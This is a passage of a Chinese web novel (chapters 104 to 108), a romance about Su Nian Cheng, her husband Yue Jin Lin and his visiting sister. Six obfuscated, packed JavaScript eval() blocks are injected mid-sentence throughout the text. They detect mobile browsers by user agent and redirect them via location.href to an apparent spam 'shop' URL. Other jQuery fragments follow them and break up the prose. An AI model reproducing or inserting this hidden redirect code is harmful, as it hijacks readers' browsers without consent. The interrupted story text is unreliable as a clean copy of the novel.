苏昭昭倒吸一口凉气,“念橙,你男人也太俊了吧!” 何佩佩在旁边笑,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17358894|198715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么样,我没骗你吧?” 苏念橙脸一红,加快脚步走过去。 越靳临看见她,嘴角弯了弯,“下课了?” 苏念橙点点头,“等久了吧?” “没有,刚到。”他目光越过她,看向后头那几个人。 苏念橙顺着他的目光看过去,忽然想起什么。 “对了,”她拉过苏昭昭,“这是我补习班的同学,苏昭昭。” 又指了指何佩佩,“佩佩你认识。” 苏昭昭有点紧张,红着脸问好,“同、同志好。” 越靳临点点头,“你好。” 江月这时候也走过来了,站在后头,低着头,没说话。 苏念橙看见她,“江月,你也一起出来的?” 江月抬起头,笑了笑,“嗯。念橙,你男人来接你了,那我先走了——” “等等。”苏念橙叫住她,“要不要送你们一程?这车能坐好几个人。” 江月愣住了。 她看着那辆锃亮的吉普车,又看看站在车边的那个男人,心里那点念头又冒出来。 “这……方便吗?”她小声问。 “方便。”苏念橙说,“上车吧。” 苏昭昭第一个响应,“好呀好呀!我还没坐过吉普车呢!” 何佩佩也笑着上车,“那我可不客气了。” 江月犹豫了一下,跟着上了后座。 越靳临拉开副驾驶的门,让苏念橙上去,自己绕到另一边。 车子发动,慢慢驶出校门。 后座三个人挤在一起,苏昭昭兴奋得不行,东摸摸西看看,“这车真好!比公共汽车舒服多了!” 何佩佩在旁边笑,“你可别摸坏了,赔不起。” 苏昭昭瞪她一眼,“说什么呢!” 江月坐在最边上,没说话,眼睛却忍不住往前头瞟。 那个男人专注地看着前面的路,偶尔偏头跟苏念橙说句话。 他笑起来的时候,眉眼都柔和了。 她从来没见过这么好看的男人。 车子在何佩佩家门口停下。 “我先下了。”何佩佩推开车门,朝苏念橙挥挥手,“念橙,明天见。” 苏念橙点点头,“好。” 第一百零四章 温柔只属于她 车子继续往前开,在苏昭昭家门口停下。 苏昭昭下了车,趴在车窗上,“念橙,谢谢你们送我!明天请你吃糖!” 苏念橙笑了,“好。” 车子重新发动。 后座只剩下江月一个人。 她坐在那儿,低着头,没说话。 苏念橙回过头,“江月,你家住哪儿?” 江月抬起头,报了个路口。 越靳临眉头微微皱了皱,“那个路口没路灯,挺黑的。有人来接你吗?” 闻言江月有些局促,她捏紧衣摆,她本来就是从乡下来省城的,借住在二姨家里,二姨对她不好,怎么可能会来接她。 “没呢,那条路我经常走都习惯了,没关系的。” 苏念橙:“那等下让靳临送你下去吧。” 江月愣了下,她看了眼前排的男人,竟然生出了一丝期待,嘴上却说:“这不好吧,我自己可以的……” “没事儿,小事情对吧?”苏念橙后半句对着越靳临说的。 越靳临很无奈,但是也挺她话。 “好,我等下送你同学下去。” 苏念橙笑了笑。 江月住的地方比较偏僻,开了比较久才到,越靳临到车技很好,苏念橙不知不觉就睡着了。 越靳临也注意到了,他没叫醒她,就对着后座小声道:“江同志,我送你下去吧。” 江月愣住了。 她看着他,心跳漏了一拍。 “不、不用麻烦——”她赶紧摆手。 “没事。”越靳临已经把车停在路口,“走吧。” 他下了车,绕到后座,给江月拉开车门。 江月下了车,站在他面前,脸有点红。 “谢谢同志。”她小声说。 越靳临点点头,“走吧。” 他往前走了几步,又回过头。 江月顺着他的目光看过去,愣住了。 他走回副驾驶那边,拉开自己外套,轻轻盖在苏念橙身上。 她睡着了,头歪在座椅上,脸被路灯照得柔和。 他低头看了她一眼,嘴角弯了弯,才把车门关上。 江月站在那儿,看着这一幕。 心里像被什么东西狠狠撞了一下。 “走吧。”越靳临走回来,声音淡淡的。 江月回过神,赶紧跟上去。 两人走在昏暗的小路上,谁都没说话。 江月低着头,心跳得厉害。 她偷偷看了他一眼。 他走在她旁边,目光看着前面的路,脸上没什么表情。 可刚才他给苏念橙盖外套那一下,那种温柔,她没见过。 就好像男人的温柔只属于苏念橙一人。 她忽然想起说送她下去时,那语气是这么平淡。 公事公办。 她咬了咬嘴唇,把那股说不清的滋味压下去。 走到巷子口,江月停下脚步。 “同志,我到了。”她指着前头那栋小楼,“我就住那儿。” 越靳临点点头,“好。” 他转身就走。 “同志!”江月叫住他。 越靳临回过头。 江月站在昏暗的路灯下,脸有点红,“外头冷,你把外套给念橙盖了,自己多穿点。” 越靳临愣了一下,随即点点头,“嗯。” 他转身走了。 江月站在原地,看着他的背影消失在巷子口。 风吹过来,凉飕飕的。 她忽然攥紧拳头。 凭什么? 凭什么苏念橙和她一样是从乡下来的,能嫁这么好的男人? 有车,有房,长得俊,还那么温柔。 她咬了咬嘴唇,转身往里走。 车还停在路口。 越靳临上了车,偏头看了一眼旁边的人。 她还睡着,呼吸平稳,脸被暖黄的灯光照得柔和。 他伸手,把外套往上拉了拉,盖住她的肩膀。 然后发动车子,往大院开。 车子在那栋小楼前停下。 越靳临下了车,绕到副驾驶,轻轻把她抱起来。 她皱了皱眉,往他怀里缩了缩,又睡着了。 他抱着她往里走。 推开门,老太太正坐在客厅里看电视,听见动静回过头。 看见他抱着苏念橙进来,老太太眼睛亮了,笑得合不拢嘴。 “哎哟,小两口就是恩爱。”她压低声音,“快抱上去吧,别吵醒她。” 越靳临点点头,抱着人上了楼。 推开房门,把她轻轻放到床上。 她躺在那儿,脸红扑扑的,睫毛又长又密。 他坐在床边, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17358895|198715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 低头看着她。 看了一会儿,他伸手,轻轻给她脱了外套。 她忽然睁开眼。 迷迷糊糊地看着他,眨了眨眼。 “到家了?”她问,声音软软的。 越靳临嘴角弯了弯,“嗯,到家了。瞌睡猫。” 苏念橙愣了一下,反应过来他说什么,脸一红。 “你才是猫。”她小声嘟囔。 他笑了,低下头,在她嘴唇上亲了一下。 很轻,很快,像蜻蜓点水。 苏念橙愣住了。 他直起身,看着她,“睡吧。” 她躺在那儿,脸红红的,眼睛亮亮的,看着他。 “你……”她咬了咬嘴唇,“你不睡?” 越靳临嘴角的笑意更深了,“你先睡。我洗个澡。” 苏念橙点点头,把被子拉到下巴。 他站起来,走到门口,又回过头。 她还睁着眼睛看他。 “晚安。”他说。 苏念橙笑了,“晚安。” 门关上了。 她躺在床上,盯着天花板,嘴角还带着笑。 隔壁传来水声。 她翻了个身,把脸埋进枕头里。 接下来一段时间,苏念橙的生活变得规律起来。 白天在家复习,下午去医院陪陈芳婷照顾陈母,晚上有时候去上课,有时候在家看书。 陈母的病情稳定下来,做了手术,恢复得不错。 苏念橙几乎每天都去。 陈母看见她来,总是笑着招呼,“小苏来了?快坐快坐。” 苏念橙就坐在床边,陪她说说话,给她削个苹果,或者读段报纸。 陈芳婷在旁边看着,心里五味杂陈。 这天下午,苏念橙又来了。 陈母刚喝完药,靠在床头,脸色比前几天好了些。 看见苏念橙进来,她眼睛亮了,“小苏,快来坐。” 苏念橙在床边坐下,把带来的橘子放到床头柜上,“阿姨,今天感觉怎么样?” “好多了。”陈母拉着她的手,“多亏你天天来看我。” 苏念橙笑了笑,“应该的。您好好养病,别想太多。” 陈母看着她,忽然叹了口气。 “小苏啊,”她拍拍她的手,“你跟小越,打算什么时候要孩子?” 第一百零五章 他对我很好 闻言,苏念橙愣住了。 脸腾地红了。 “阿、阿姨……”她支支吾吾,“我们……还没……” 陈母笑了,“害羞什么?都结婚了,要孩子不是很正常?小越那孩子我看着长大,是个好的。你们早点生,趁我还动得了,也是可以给你们带孩子。小越他母亲忙,但我有空着呢。” 苏念橙脸红得能滴血,但是也不想扫兴,“好呀阿姨,我们尽量。” 陈母笑的开怀,“好好。” 转而她又叹了口气,“只不过,我就是担心芳婷。她跟文彦那孩子,也不知道怎么样了。两个人处了这么久,也不见个动静。” 苏念橙抬起头,“阿姨您别担心,芳婷姐有分寸。等您身体好了,他们自然就——” 话没说完,门被推开了。 陈芳婷站在门口,身边跟着萧文彦。 男人穿着白大褂,像是刚从科室过来。 陈芳婷脸上没什么异样,看不出刚才的话听见了多少。 萧文彦倒是温和地笑了笑,“阿姨,今天气色不错。” 陈母看见他们,眼睛亮了,“文彦来了?快坐快坐。” 萧文彦走过去,在床边坐下,给陈母把了把脉,“恢复得挺好,再过几天就能出院了。” 陈母笑得合不拢嘴,“多亏你,要不是你,我这老婆子早没了。” 萧文彦摆摆手,“阿姨别这么说,应该的。” 陈芳婷站在旁边,没说话。 苏念橙看看她,又看看萧文彦,总觉得气氛有点微妙。 她站起来,“芳婷姐,萧医生,那我先回去了。阿姨,您好好休息。” 陈母点点头,“好孩子,慢点走。” 萧文彦:“好,苏同志慢走。” 陈芳婷闻言起身,“那我送送你吧。” 苏念橙拒绝,“不用,你在这里陪阿姨就好,我只能走。” 陈芳婷点点头,“那好,你路上小心。” “好。” 苏念橙出了病房,轻轻关上门。 走廊里空荡荡的,消毒水的味道飘在空气里。 她深吸一口气,加快脚步往外走。 ——— 槐花胡同。 那栋三层小楼已经被围了起来,外面拉着警戒线,墙上用红漆写着大大的“拆”字。 何钧礼站在胡同口,看着那栋楼。 围得严严实实,什么都看不见。 可他脑子里全是那个画面。 苏念橙站在那栋楼门口,穿着那条红裙子,笑着朝他看。 不对,是朝那个男人看。 他攥紧拳头,指甲掐进掌心。 何母从后头走过来,顺着他的目光看过去,“看什么呢?” 何钧礼没说话。 何母叹了口气,“那栋楼,真是走了大运。三四年前搬过来的,住了没几年就赶上拆迁,补偿款可不是小数目。” 何钧礼眉头皱了皱,“三四年前?” “嗯。”何母点点头,“就是你们回城那年搬来的。我那时候还纳闷,谁这么有钱,住得起三层楼。后来才知道,那小子是军区大院的。” 何钧礼愣住了。 三四年前? 军区大院? 苏念橙来省城才多久? 怎么可能会认识军区大院子弟? 他忽然想起什么,嘴角勾起一抹冷笑。 “妈,”他开口,声音沉沉的,“你说那房子,会不会是租的?” 何母愣了一下,“租的?不能吧——” “军区大院的子弟,凭什么住这种地方?”何钧礼打断她,“说不定就是租的,装样子给人看。” 何母看着他,没说话。 何钧礼收回目光,转身往回走。 脑子里那个念头越来越清晰。 苏念橙肯定早就认识那个男人。 说不定在她来省城之前,两个人就有一腿。 知道他比他有出息,就把他抛弃了。 他冷笑一声。 什么乡下丫头,什么单纯善良,全是装的。 他加快脚步,把那栋楼甩在身后。 时间过的飞快,转眼到了一月中。 大学生放寒假了。 这天下午,苏念橙正坐在屋里复习,外头忽然传来一阵动静。 门被推开,一个人影冲进来。 “surprise!” 苏念橙吓了一跳,手里的笔都掉了。 她抬起头,愣住了。 一个圆脸圆眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17358896|198715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的姑娘站在她面前,穿着件红色的厚外套,扎着两个麻花辫,笑得眉眼弯弯。 那张脸,跟越靳临有几分像。 苏念橙眨眨眼,“你是……小雪?” 越靳雪愣了一下,“你认识我?” 苏念橙笑了,“你哥说过你,眉眼很像。” 越靳雪眼睛亮了,“你是嫂子呀!嫂子你真好看!比我想象的还好看!” 她说着,冲上来一把抱住苏念橙。 苏念橙被她抱得有点懵,随即笑了。 这丫头,真活泼。 “你哥和奶奶去医院了,”她拍拍越靳雪的背,“你没碰上他们?” 越靳雪松开她,“没有啊,我直接从车站回来的。还以为家里有人呢,想吓唬一下来着,结果就你一个。” 她说着,有点不好意思,“刚才没吓着你吧?” 苏念橙摇摇头,“没有。” 越靳雪在她旁边坐下,撑着下巴看她,“嫂子,你跟我哥怎么认识的?他那人闷葫芦一个,我还以为他得打一辈子光棍呢。” 苏念橙脸微微一红,“就那么认识的。” “就那么认识是怎么认识?”越靳雪凑过来,眼睛亮亮的,“嫂子你跟我说说嘛。” 苏念橙被她缠得没办法,只好简单说了几句,“相亲认识的。” “相亲?”越靳雪瞪大眼睛,“我哥去相亲了?他不是最烦这个吗?” 苏念橙笑了笑,“可能……刚好觉得我合眼缘吧。” 越靳雪盯着她看了好几秒,忽然笑了,“嫂子你脸红了。” 苏念橙摸了摸脸,确实有点烫。 “对了嫂子,”越靳雪忽然想起什么,“我哥对你好不好?他要是敢欺负你,你跟我说,我替你收拾他。” 苏念橙看着她那副认真的样子,心里一暖。 “他对我很好。”她说。 越靳雪满意地点点头,“那就好。”她忽然站起来,拉着苏念橙的手,“嫂子,走,我们一起出去逛逛怎么样?” 苏念橙点点头,被她拉着站起来。 两人刚走到楼梯口,楼下传来开门的声音。 “小雪回来了?”老太太的声音从底下传来,中气十足。 第一百零六章 怀了就生下来 越靳雪眼睛一亮,松开苏念橙的手就往楼下跑,“奶奶!” 苏念橙跟在后头下楼,看见老太太正站在门口,越靳临跟在她身后,手里拎着个网兜,里头装着几盒药。 越靳雪扑过去,一把抱住老太太,“奶奶!我可想你了!” 老太太搂着她,笑得合不拢嘴,“这孩子,都多大了还撒娇。”她上下打量着越靳雪,“瘦了,京海的饭不好吃?” “好吃着呢。”越靳雪松开她,转了个圈,“您看我这脸,都圆了。” 老太太捏捏她的脸,“是圆了点。你妈呢?什么时候回来?” “医院忙,得二十五才能回来。”越靳雪说。 老太太眉头皱起来,“二十五?那都快过年了。她一个人在京海,年夜饭怎么吃?” 越靳雪挽着她的胳膊,“妈说了,医院食堂管饭,让您别惦记。” “食堂的饭能有什么好吃的?”老太太叹了口气,看向越靳临,“你也不说说你妈。” 越靳临把网兜放到桌上,“说了,她听不进去。” 老太太摇摇头,拉着越靳雪在沙发上坐下,“不说她了。你跟奶奶说说,在京海念书累不累?功课跟得上吗?” “跟得上。”越靳雪靠在她肩上,“就是期末考试的时候有点紧张,不过都过了。” 老太太满意地点点头,“那就好。你嫂子也在准备考试呢,你们俩可以一起复习。” 越靳雪眼睛亮了,看向苏念橙,“真的?嫂子你要考什么?” 苏念橙走过来,在旁边的椅子上坐下,“想考师范,中文系。” “中文系!”越靳雪眼睛更亮了,“嫂子你太厉害了!我高考的时候最怕语文了,作文老是写不好。” 苏念橙笑了笑,“我底子薄,也不太好。” 两人就这么聊了起来,从考试聊到书本,从书本聊到京海的风土人情。 老太太在旁边听着,时不时插句话,笑得合不拢嘴。 越靳临站在旁边,看着这三个女人聊得热络,嘴角弯了弯。 他转身往厨房走,“我去做饭。” 苏念橙站起来,“我来帮忙。” “我也去!”越靳雪跟着站起来。 老太太拉住她,“你坐着,让你嫂子去。你刚回来,陪奶奶说说话。” 越靳雪只好坐下,冲苏念橙眨眨眼,“嫂子,辛苦你啦。” 苏念橙笑着摇摇头,跟着越靳临进了厨房。 厨房里,越靳临系上围裙,从冰箱里拿出肉和菜。苏念橙接过菜,拧开水龙头开始洗。 “小雪性格真好。”她说。 越靳临嗯了一声,“随我妈。我爸在的时候,也爱说笑。” 苏念橙手顿了顿,抬起头看他。 他低着头切肉,脸上没什么表情,可那眼神,有点沉。 “嗯,难怪家里的氛围这么好呢。”苏念橙笑着说。 越靳临揉了揉她的头,“会一直好的,等将来咱们生的小孩也会在这样的环境。” 闻言,她脸微微泛红,小孩?她还没想过这件事呢,忽然又想起来一件事。 上次她被下药,事后她好像没有吃药。 当时她也是初经人事,根本没想后。 她颤抖问:“不好!” 越靳临被她忽然转变的情绪愣了下,“怎么了?” 苏念橙红着脸问:“上次我没吃药,万一怀了怎么办?” 他没想过她会问这个,“没事,怀了咱们就生,我养的起。” “不是养不养的起问题,是我没做准备呀…” 她还要上大学呢,有了孩子还怎么上。 越靳临无奈,也不再逗她,“你放心吧,我有做安全措施的。怎么可能让你这么早当妈?我们二人世界都没过够。” 苏念橙这才放下心来,“那就好。” 随后两人在厨房里忙活了半个多钟头,做了四菜一汤。红烧肉,糖醋排骨,炒青菜,西红柿炒蛋,还有一碗紫菜蛋花汤。 饭菜端上桌,越靳雪第一个凑过来,“好香!哥,你现在厨艺这么好了?” 老太太在旁边笑,“你哥现在天天给你嫂子做饭,练出来的。” 越靳雪看向苏念橙,眼里带着羡慕,“嫂子,你有口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17362501|198715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 福了。” 苏念橙脸微微一红,“你哥做饭是好吃。” 四个人围坐着吃饭,说说笑笑。越靳雪嘴甜,把老太太哄得合不拢嘴,连越靳临都笑了好几回。 吃完饭,越靳雪跑去翻行李,从里头掏出几个盒子。 “我给你们带了礼物!”她把一个红色的盒子递给老太太,“奶奶,这是给您的。京海的特产糕点,软乎得很,您肯定咬得动。” 老太太接过来,笑得眼睛眯成一条缝,“这孩子,还惦记着我这老太婆。” 越靳雪又拿出个蓝色的盒子,递给苏念橙,“嫂子,这是给你的。” 苏念橙没想到还有她的,她伸手接过来,“谢谢小雪。” “打开看看喜不喜欢,我还不知道你的喜好呢。” 苏念橙笑笑,“我不挑的,小雪送的我都喜欢。”话落她打开一看,愣住了。 盒子里躺着一条银色的项链,细细的链子,坠子是一朵小花,在灯光下泛着柔和的光。 “真好看。”她抬起头,看着越靳雪,“这太贵重了——” “不贵重。”越靳雪摆摆手,“我攒了好久的零花钱买的。嫂子你喜欢就好。” 苏念橙心里一暖,“谢谢小雪,我很喜欢。” “喜欢就好!美丽的东西就该戴在美人身上!” 苏念橙脸微微泛红。 这丫头嘴真甜。 越靳雪又从盒子里拿出个灰色的盒子,递给越靳临,“哥,这是你的。” 越靳临接过来,打开一看,是条领带。深灰色,暗纹,看着挺讲究。 “还行。”他说。 越靳雪撇撇嘴,“就这?我挑了好久呢。” 越靳临嘴角弯了弯,“谢谢。” 越靳雪这才满意了,转头看向苏念橙,“嫂子,等会儿你陪我出去逛逛嘛?好久没回来了,想去广场那边看看。” 苏念橙点点头,“好啊。” “不行。”越靳临开口,“天快黑了,外头冷。你刚回来,别折腾你嫂子。” 越靳雪吐吐舌头,“要你管呀?我跟嫂子去,又没让你去。” 第一百零七章 有福气 苏念橙笑了笑,“没事,就去逛逛,不远的。” 越靳临看着她,那眼神有点无奈。最后他点点头,“早点回来。” “知道啦。”越靳雪拉着苏念橙就往外跑。 两人出了门,苏念橙骑上自行车,越靳雪跳上后座,搂着她的腰。 “嫂子,你骑慢点,我好久没坐自行车了。” 苏念橙笑了,“好。” 自行车慢慢往广场骑。 天已经擦黑了,路灯亮起来,街上人不多。 越靳雪坐在后座,东张西望,一会儿说这儿变了,一会儿说那儿还跟以前一样。 到了广场,人比白天多了些。 有卖小吃的摊子,有遛弯的老人,还有几个小孩在空地上追着跑。 越靳雪拉着苏念橙,挨个摊子看过去。买了串糖葫芦,又买了包瓜子,还要了两个烤红薯。 两人捧着烤红薯,站在路灯下吃。红薯又甜又糯,烫得直哈气。 “嫂子,”越靳雪咬了口红薯,“你跟我哥怎么认识的?上次没说完呢。” 苏念橙想了想,“在饭店认识的。我认错了人,以为他是别人。” 越靳雪愣住了,“认错人?这也太巧了吧!” “是挺巧的。”苏念橙笑了笑。 “那后来呢?”越靳雪追问。 “后来……”苏念橙顿了顿,“后来就去领证了。” 越靳雪瞪大眼睛,“你们就见了一面就领证了?” 苏念橙点点头,“嗯。” 越靳雪张着嘴,半天没说出话来。最后她憋出一句,“我哥也太有福气了。” 苏念橙被她逗笑了,“有什么福气?” “娶了你啊。”越靳雪认真地说,“嫂子你人好,又好看,我哥能娶到你,是他八辈子修来的福分。” 苏念橙脸一红,“别瞎说。” “我没瞎说。”越靳雪挽着她的胳膊,“我是认真的。” 两人正说着,身后传来一个温和的男声。 “苏同志?” 苏念橙回过头,愣住了。 谢文彬站在几步外,穿着件深蓝色的棉袄,手里拎着个公文包,正看着她。 “谢同志?”苏念橙有些意外,“你也来逛?” 谢文彬走过来,笑了笑,“刚下班,路过这儿。没想到碰见你了。” 他的目光落在越靳雪身上,“这位是……” 苏念橙赶紧介绍,“这是我妹妹,越靳雪。” 又对越靳雪说,“这是谢文彬谢同志,在政府工作的。上次报名材料出了问题,就是他帮的忙。” 越靳雪看着谢文彬,愣住了。 路灯的光落在他身上,把那件深蓝色的棉袄照得柔和。他个子挺高,脸庞棱角分明,眉眼温和,嘴角带着淡淡的笑。 她的脸忽然有点热。 “谢同志好。”她开口,声音比平时小了些。 谢文彬点点头,“越同志好。” 他看向苏念橙,“苏同志最近复习得怎么样?” “还行。”苏念橙说,“数学还是有点吃力,别的都好。” 谢文彬笑了,“数学我也头疼。当年高考的时候,差点栽在数学上。” 苏念橙也笑了,“谢同志也这么说?我有个朋友上次也说她数学不好。” “是吗?”谢文彬笑着,“看来大家都一样。” 越靳雪站在旁边,听着两人聊天,视线却忍不住往谢文彬身上飘。 他说话的时候,眉眼弯弯的,声音温和,让人听着很舒服。 她很少见过这样的人。 “嫂子,”她扯了扯苏念橙的袖子,压低声音,“咱们要不要请谢同志吃个烤红薯?人家帮了你那么大的忙。” 苏念橙愣了一下,随即反应过来,“对对对,我都忘了。”她看向谢文彬,“谢同志,你吃烤红薯吗?那边有卖的。” 谢文彬摆摆手,“不用不用,你们吃——” “别客气。”越靳雪已经跑过去买了一个,塞到他手里,“拿着,还热着呢。” 谢文彬愣了一下,低头看着手里那个热腾腾的烤红薯,又看看越靳雪。 她站在路灯下,脸红扑扑的,眼睛亮亮的,正看着他。 “谢谢。”他说。 越靳雪笑了,“不客气。” 三个人在广场上慢慢走着。谢文彬和苏念橙聊着考试的事,越靳雪走在旁边, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17362502|198715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 偶尔插句话。 聊了一会儿,苏念橙看了看表,“时候不早了,我们得回去了。小雪刚回来,还得收拾行李。” 谢文彬点点头,“那你们慢走。” “谢同志再见。”苏念橙朝他挥挥手。 越靳雪也挥挥手,“谢同志再见。” 谢文彬笑着点点头,“再见。” 两人转身往回走。走了几步,越靳雪忍不住回头看了一眼。 他还站在原地,正看着她们这个方向。路灯的光落在他身上,把影子拉得老长。 她赶紧回过头,心跳快了几拍。 “嫂子,”她压低声音,“这个谢同志,长得真俊啊。” 苏念橙笑了,“怎么,你看上人家了?” 越靳雪脸腾地红了,“哪有!我就是……就是随便说说。” 苏念橙看着她那副样子,没再逗她,只是笑了笑。 两人骑上自行车,往大院走。 回到家,老太太已经上楼睡了。越靳临坐在客厅里看书,听见动静抬起头。 “回来了?”他放下书,“玩得开心吗?” “开心!”越靳雪换了鞋,蹦跳着上楼,“我先去收拾东西了,嫂子晚安!” “晚安。”苏念橙笑着应了一声。 澡间里传出水声,越靳雪在洗澡。 苏念橙也上了楼,拿了换洗衣服,等越靳雪洗完,进去冲了个澡。 洗完出来,她擦着头发往房间走。推开门,越靳临正靠在床头看书。 看见她进来,他放下书,“过来。” 苏念橙走过去,在床边坐下。他从她手里接过毛巾,给她擦头发。 动作很轻,一下一下的。 “今天跟小雪相处得怎么样?”他问。 苏念橙点点头,“很好呀。她性格很好,跟她在一起很开心。” “那就好。”他把毛巾搭在床头,“她还小,有什么事你也不用担待。” 苏念橙笑了,“她又不是小孩子,不用我担待什么。对了,明天我们约好去买新年衣服。” 越靳临点点头,“行,到时候我报销。” 他顿了顿,忽然说,“其实你比小雪还小一岁。” 第一百零八章 老牛吃嫩草 苏念橙愣了一下,“是吗?” “嗯。”他伸手,把她揽进怀里,“她二十二,你二十一?” 苏念橙靠在他胸口,“过完年就二十一了。” 越靳临低头看她,“那还是比小雪小。” 苏念橙笑了,“没事儿,我也可以当小雪妹妹的。至于你嘛……”她仰起脸,眼睛亮亮的,“你算不算老牛吃嫩草?” 越靳临愣了一下,随即笑了。 他低下头,嘴唇贴着她的耳朵,“怎么?嫌我年纪大了?” “我可没说。”苏念橙往旁边躲,耳朵尖红了。 他伸手捧住她的脸,让她看着自己。那双黑沉沉的眼睛里带着笑意,还有点别的什么。 “那试试?”他问。 苏念橙脸更红了,“试什么……” 话没说完,嘴唇就被堵住了。 他吻得比平时温柔,慢慢的,细细的,像是在品尝什么好东西。她闭上眼睛,手攀上他的肩膀。 灯灭了。 屋里只剩下两个人的呼吸声,还有偶尔的低语。 “轻点……” “嗯。” …… 第二天早上,苏念橙醒来的时候,阳光已经照进屋里了。 她睁开眼,身边的人已经走了。枕头上还留着他的味道,淡淡的皂香。 她躺了一会儿,起床洗漱。 下楼的时候,越靳雪已经坐在桌边吃早饭了。看见她下来,眼睛一亮。 “嫂子!快来吃饭!” 苏念橙走过去,在她旁边坐下。桌上摆着粥,咸菜,还有几个包子。 “你哥呢?”她问。 “上班去了。”越靳雪咬了口包子,“他说今天工地有事,得早点去。” 苏念橙点点头,低头喝粥。 吃完饭,越靳雪拉着她上楼,“嫂子,我给你化个妆!” 苏念橙愣住了,“化妆?” “对啊。”越靳雪从行李里掏出个小盒子,打开来,里头摆着几样东西,“我在京海买的,可好用了。你皮肤这么好,化完肯定更好看。” 苏念橙被她按在椅子上,只好由着她折腾。 越靳雪先用湿毛巾给她擦了擦脸,又抹了点什么东西,凉凉的。然后拿起胭脂,轻轻往她脸上拍。 “嫂子你皮肤真白。”她一边拍一边说,“都不用抹太多。” 苏念橙笑了笑,没说话。 弄了好一会儿,越靳雪终于停下,退后两步,看着镜子里的她。 “好了!”她眼睛亮了,“嫂子你快看!” 苏念橙转过头,看着镜子里的自己,愣住了。 脸颊上染了淡淡的粉色,嘴唇红润润的,眼睛比平时更亮了。整个人看着,像画上的人。 “真好看。”她说。 “那当然!”越靳雪得意地笑,“我的手艺可是一绝。” 正说着,楼下传来开门的声音。 越靳雪拉着苏念橙往下跑,“哥!你快来看!” 越靳临回来拿文件,他刚换好鞋,听见动静抬起头。 他愣住了。 苏念橙站在楼梯上,穿着一件白色的毛衣,头发披着,脸上带着淡淡的胭脂,嘴唇红润润的。阳光从窗户照进来,落在她身上,把她整个人照得柔和。 他看着她,喉结动了动。 “真美。”他说,声音低沉。 越靳雪在旁边笑,“怎么样?我的手艺不错吧?” 越靳临没理她,只是看着苏念橙。 苏念橙被他看得有点不好意思,低下头,“我去换衣服,准备出门了。” 她转身往楼上跑。 越靳雪在后头喊,“嫂子,别换!这样就很好看!” 苏念橙跑得更快了。 越靳临看着她的背影,嘴角弯了弯。 “哥,”越靳雪凑过来,“嫂子是不是特别好看?” 越靳临收回目光,看了她一眼,“嗯。” “那当然。”越靳雪得意地笑,“我的嫂子,能不好看吗?” 越靳临没接话,拿起桌上的公文包,“我走了。你们出去的时候注意安全。” “知道啦。”越靳雪摆摆手。 过了一会儿,苏念橙换了件厚外套下来,脸上的胭脂还在,只是比刚才淡了些。 “走吧。”她说。 越靳雪挽着她的胳膊,两人出了门。 —— 越靳临回到工地的时候,太阳已经升得老高了。 工地上机器轰隆隆地响,工人们来来往往,一片忙碌。 B区的楼已经封顶了,外墙上搭着脚手架,几个工人正在刷水泥。 二道工程基本完工,剩下的就是些收尾的活。 他推开办公室的门,老张正蹲在角落里整理材料,听见动静抬起头。 “越工回来了?” 越靳临嗯了一声,在桌边坐下,翻开那摞厚厚的图纸。 老张凑过来,搓着手,欲言又止。 越靳临头也没抬,“有话就说。” 老张嘿嘿笑了两声,在他对面坐下,“越工,我有个事想问你。” “问。” 老张斟酌了一下,“你说咱们这工地,干完这个工程,下一步咋整?” 越靳临手里的笔顿了顿,抬起头看他。 